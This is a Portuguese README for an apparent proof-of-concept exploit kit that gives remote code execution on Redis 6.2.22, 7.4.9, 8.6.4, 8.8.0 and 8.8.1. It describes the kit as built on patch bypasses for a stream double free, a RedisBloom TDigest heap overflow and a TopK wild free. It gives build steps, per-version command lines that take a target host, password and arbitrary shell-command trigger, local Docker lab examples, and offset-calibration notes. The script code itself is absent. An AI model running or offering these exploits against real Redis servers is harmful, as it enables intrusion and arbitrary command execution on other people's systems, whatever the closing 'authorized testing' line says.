
PoC de RCE para Redis 6.2.22, 7.4.9, 8.6.4, 8.8.0, 8.8.1
Exploits de RCE não destrutivos para Redis 6.2.22, 7.4.9, 8.6.4 por meio do double free compartilhado de NACK em grupo de consumidores de stream (um bypass do patch de CVE-2026-25243), para 8.8.0 por meio de um heap overflow no TDigest no RedisBloom embutido, e para 8.8.1 por meio de um wild free no TopK (um bypass do patch de CVE-2026-25589).
A_exploit_stock.py — exploit para 6.2.22 (imagem redis:6.2.22)P74_exploit.py (+ P74_g2.py) — exploit para 7.4.9 (redis:7.4)P86_exploit.py — exploit para 8.6.4 (redis:8.6)P88W_exploit.py (+ P88W_lib.py, P88W_corrupt.py) — exploit para
8.8.0 (redis:8.8.0, via heap overflow no TDigest do módulo embutido)T88_exploit.py — exploit para 8.8.0 e 8.8.1 (via wild free no TopK
do módulo embutido; bypass da correção incompleta de CVE-2026-25589 — funciona no
RedisBloom v8.8.0 e v8.8.2)A_lib.py, G2_arbread.py — helpers compartilhados (devem ficar ao lado dos exploits)crc64.c/h, crcspeed.c/h — código-fonte de libcrc64.so (CRC64 do Redis,
necessário para gerar payloads RESTORE válidos)calibrate.sh — calcula offsets binários para builds não oficiaisP74_loop.sh, P86_run.sh — wrappers de repetição de bootgcc -shared -fPIC -O2 -o libcrc64.so crc64.c crcspeed.c
Requer: Python 3.6+ (sem pacotes pip), gcc.
# 6.2.22 (DEBUG habilitado por padrão)
python3 A_exploit_stock.py <host> <port> [password] [trigger]
# 7.4.9 / 8.6.4 — alvo original, NÃO precisa de flag de debug
python3 P74_exploit.py <host> <port> [password] [trigger]
python3 P86_exploit.py <host> <port> [password] [trigger]
# 8.8.0 — alvo original, contêiner/instância NOVO fortemente recomendado
python3 P88W_exploit.py <host> <port> [password] [trigger]
# 8.8.0 / 8.8.1 — wild free no TopK, alvo original, instância nova recomendada
python3 T88_exploit.py <host> <port> [password] [trigger]
password — omita (ou passe "") para alvos sem autenticaçãotrigger — comando shell; por padrão grava uma prova em /data/pwned*Exemplos:
# laboratório local, 6.2.22
docker run -d -p 6379:6379 redis:6.2.22 redis-server --requirepass exploitme
python3 A_exploit_stock.py 127.0.0.1 6379 exploitme "id > /data/pwned_stock"
# laboratório local, 7.4.9
docker run -d -p 6379:6379 redis:7.4 redis-server --requirepass exploitme
python3 P74_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned74"
# laboratório local, 8.6.4
docker run -d -p 6379:6379 redis:8.6 redis-server --requirepass exploitme
python3 P86_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned86"
# laboratório local, 8.8.0
docker run -d -p 6379:6379 redis:8.8.0 redis-server --requirepass exploitme
python3 P88W_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned88"
python3 T88_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned_t88"
--str-format-off etc.; veja --help) ou execute
./calibrate.sh /path/to/redis-server [/path/to/libc.so.6] para gerá-los.
Offsets errados derrubam o servidor alvo (leituras fora do intervalo).EVAL, RESTORE, XGROUP
(8.8.0/8.8.1 também precisam do módulo RedisBloom embutido, presente por padrão).HARDENING.md para detalhes.
O exploit para 8.8.0 deixa ~2000 structs tdigest zeradas + uma chave
oracle corrompida — não execute FLUSHALL/SAVE no alvo depois.TopK_Destroy ainda lê todos os ponteiros k
além do heap subdimensionado tanto no RedisBloom v8.8.0 quanto no v8.8.2).Apenas para testes autorizados.